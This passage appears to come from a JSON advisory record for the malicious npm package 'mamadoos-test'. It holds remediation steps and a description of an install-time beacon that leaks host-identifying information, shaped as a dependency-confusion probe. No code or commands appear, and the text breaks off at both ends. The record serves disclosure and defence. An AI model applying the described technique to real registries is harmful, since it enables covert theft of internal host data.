Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

This fires unconditionally on `npm install` with no opt-in, leaking host-identifying information to a third-party endpoint. The package additionally declares itself as a dependency (`mamadoos-test: ^10.0.0`), a shape consistent with a dependency-confusion probe — installs of a colliding internal name resolve to this public package and beacon back. Regardless of whether the intent is research or active targeting, the installer-side effect is unconsented exfiltration of identifiers useful for follow-on attacks (locating internal hosts, mapping CI environments, fingerprinting build paths).","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in mamadoos-test (npm)","id":"MAL-2026-4605","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"mamadoos-test","purl":"pkg:npm/mamadoos-test","source":"MAL-2026-4605"}],"products":null,"published":"2026-05-20","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4605/"}
